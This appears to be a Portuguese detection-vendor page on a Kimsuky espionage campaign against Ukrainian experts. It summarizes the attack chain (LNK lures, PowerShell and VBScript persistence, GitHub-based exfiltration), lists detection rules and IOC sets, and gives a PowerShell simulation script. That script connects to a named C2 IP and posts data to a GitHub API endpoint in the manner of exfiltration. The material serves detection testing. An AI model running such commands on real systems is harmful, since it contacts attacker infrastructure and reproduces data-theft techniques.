Operação GitPower: Espionagem da Kimsuky Contra a Ucrânia
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Kimsuky está atualmente conduzindo espionagem cibernética contra especialistas ucranianos em diplomacia, segurança e política internacional. Conhecida como Operação GitPower, a campanha conta com spear phishing de isca de resposta e abusa de plataformas de desenvolvimento legítimas como GitHub, GitLab e Codeberg para entregar malware. Os atacantes também começaram a usar ferramentas de IA para criar documentos isca e automatizar processos de ataque.
Investigação
Os investigadores analisaram múltiplas etapas do ataque, incluindo arquivos LNK maliciosos disfarçados de PDFs e instaladores falsos do Zoom. Eles rastrearam um fluxo de execução em várias etapas, no qual scripts VBScript e PowerShell estabelecem persistência através de tarefas agendadas. O grupo usa servidores C2 codificados e a API do GitHub para executar a exfiltração de dados.
Mitigação
As organizações devem reforçar a detecção EDR e as capacidades de caçada de ameaças direcionadas ao abuso de arquivos LNK, PowerShell e serviços legítimos de desenvolvimento em nuvem. Recomenda-se o monitoramento rigoroso de tarefas agendadas incomuns e chamadas de API não autorizadas para GitHub e GitLab. Os usuários devem ser treinados para reconhecer táticas sofisticadas de engenharia social.
Resposta
Após a detecção, os respondedores devem isolar os endpoints afetados para interromper a exfiltração de dados por meio do TCP C2 identificado ou canais do GitHub. Os analistas devem buscar tarefas agendadas não autorizadas e verificar o diretório C:UsersPublic em busca de arquivos maliciosos VBS/PS1. É essencial correlacionar execuções de LNK com conexões de rede posteriores para serviços em nuvem legítimos.
Fluxo de Ataque
Ainda estamos atualizando esta parte.
Detecções
Arquivo LNK Possivelmente Malicioso com Extensão Dupla (via cmdline)
Powershell Executando Arquivo em Diretório Suspeito Usando Política de Execução Bypass (via cmdline)
Schtasks Aponta para Diretório / Binário / Script Suspeito (via cmdline)
LOLBAS WScript / CScript (via process_creation)
Execução Suspeita do Perfil do Usuário Público (via process_creation)
Uso Suspeito de CURL (via cmdline)
Uso Suspeito de Invoke-RestMethod (via powershell)
Chamada de Métodos .NET Suspeitos do Powershell (via powershell)
Possível Download de Arquivo do Github Iniciado por Processo Incomum (via network_connection)
Arquivos Suspeitos no Perfil do Usuário Público (via file_event)
IOCs (HashMd5) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia Parte 4
IOCs (HashMd5) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia Parte 3
IOCs (HashMd5) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia Parte 2
IOCs (HashMd5) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia Parte 1
IOCs (SourceIP) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia
IOCs (DestinationIP) para detectar: Operação GitPower da Kimsuky Alvo Ucrânia
Detecção de Conexão TCP C2 e Exfiltração Baseada em GitHub na Atividade Kimsuky [Conexão de Rede do Windows]
Detectar Tarefa GoogleUpdateTaskMachineUA para Execução de Script Malicioso [Sysmon do Windows]
Arquivos LNK Usados para Executar Scripts PowerShell Maliciosos com Ofuscação e Persistência [Criação de Processo do Windows]
Execução de Simulação
-
Narrativa do Ataque & Comandos: O adversário visa estabelecer comunicação de Comando e Controle (C2) e exfiltrar dados sensíveis via GitHub. Primeiro, o atacante estabelece uma conexão TCP com o IP C2 codificado
111.92.246.145na porta12345para sinalizar prontidão. Em segundo lugar, para evitar a detecção por meio de monitoramento tradicional de transferência de dados, o atacante usa uma abordagem ‘living-off-the-land’ carregando um documento roubado em um repositório do GitHub através da API de Conteúdos do GitHub, imitando especificamente o User-Agent KimsukyGitHub-API/1.0. -
Script de Teste de Regressão:
# Script de Simulação para Validação de Detecção Kimsuky Write-Host "[+] Iniciando Simulação Kimsuky..." -ForegroundColor Cyan # 1. Simular Conexão C2 (TCP 111.92.246.145:12345) Write-Host "[+] Tentando conexão C2 para 111.92.246.145:12345" -ForegroundColor Yellow try { $tcpClient = New-Object System.Net.Sockets.TcpClient $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null) # Usamos um tempo limite curto para que o script não trave se o IP estiver inacessível $success = $connection.AsyncWaitHandle.WaitOne(2000, $false) if (-not $success) { Write-Host "[!] Conexão falhou (esperado se o IP estiver offline), mas a telemetria ainda deve ser registrada pelo Sysmon." -ForegroundColor Gray } $tcpClient.Close() } catch { Write-Host "[!] Erro durante a simulação C2: $($_.Exception.Message)" -ForegroundColor Red } # 2. Simular Exfiltração do GitHub (POST para API do GitHub com User-Agent específico) Write-Host "[+] Tentando simulação de Exfiltração API do GitHub..." -ForegroundColor Yellow $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt" $userAgent = "GitHub-API/1.0" $headers = @{ "Authorization" = "token FAKE_TOKEN_FOR_TESTING" "Content-Type" = "application/json" } $body = @{ "message" = "Exfiltrando dados" "content" = "SGVsbG8gV29ybGQ=" # Base64 para "Hello World" } | ConvertTo-Json try { # Usando -UserAgent para acionar a lógica de detecção específica Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent } catch { Write-Host "[!] Requisição HTTP completa (Esperado 404/401 para URL falsa, mas User-Agent foi enviado)." -ForegroundColor Gray } Write-Host "[+] Simulação Completa." -ForegroundColor Cyan -
Comandos de Limpeza:
# Nenhum artefato persistente foi criado por este script de simulação. # Se algum arquivo local foi usado para conteúdo, ele deve ser excluído: Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue Write-Host "[+] Limpeza completa." -ForegroundColor Green